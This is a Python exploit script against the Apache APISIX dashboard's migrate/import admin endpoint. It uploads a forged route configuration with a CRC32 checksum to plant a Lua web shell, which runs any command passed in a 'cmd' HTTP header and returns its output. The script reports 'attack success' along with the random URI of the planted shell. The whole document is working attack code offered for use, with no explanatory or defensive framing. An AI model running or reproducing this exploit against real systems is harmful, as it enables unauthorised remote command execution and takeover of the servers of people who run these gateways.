1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93
| import zlib import json import random import requests import string import sys from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
eval_config = { "Counsumers": [], "Routes": [ { "id": str(random.randint(100000000000000000, 1000000000000000000)), "create_time": 1640674554, "update_time": 1640677637, "uris": [ "/rce" ], "name": "rce", "methods": [ "GET", "POST", "PUT", "DELETE", "PATCH", "HEAD", "OPTIONS", "CONNECT", "TRACE" ], "script": "local file = io.popen(ngx.req.get_headers()['cmd'],'r') \n local output = file:read('*all') \n file:close() \n ngx.say(output)", "status": 1 } ], "Services": [], "SSLs": [], "Upstreams": [], "Scripts": [], "GlobalPlugins": [], "PluginConfigs": [] }
def random_str(): return ''.join(random.choices(string.ascii_letters + string.digits, k=6))
def calc_crc(data): crc32 = zlib.crc32(data) & 0xffffffff return crc32.to_bytes(4, byteorder="big")
def export_data(url): r = requests.get(url + "/apisix/admin/migrate/export", verify=False) return r.text[:-4]
def import_data(url, data): data = json.dumps(data).encode() crc32 = calc_crc(data)
files = {"file": ("data", data + crc32, "text/data")} resp = requests.post(url + "/apisix/admin/migrate/import", files=files, verify=False) if resp.json().get("code", -1) == 0: return True else: return False
if __name__ == "__main__": if len(sys.argv) != 2: print("python " + sys.argv[0] + " http://127.0.0.1:9000") exit() url = sys.argv[1] if url.endswith("/"): url = url[:-1]
uri = random_str() eval_config["Routes"][0]["uris"] = [ "/" + uri] eval_config["Routes"][0]["name"] = uri
if import_data(url, eval_config): print("attack success") print("uri is: " + "/" + uri) else: print("attack error")
|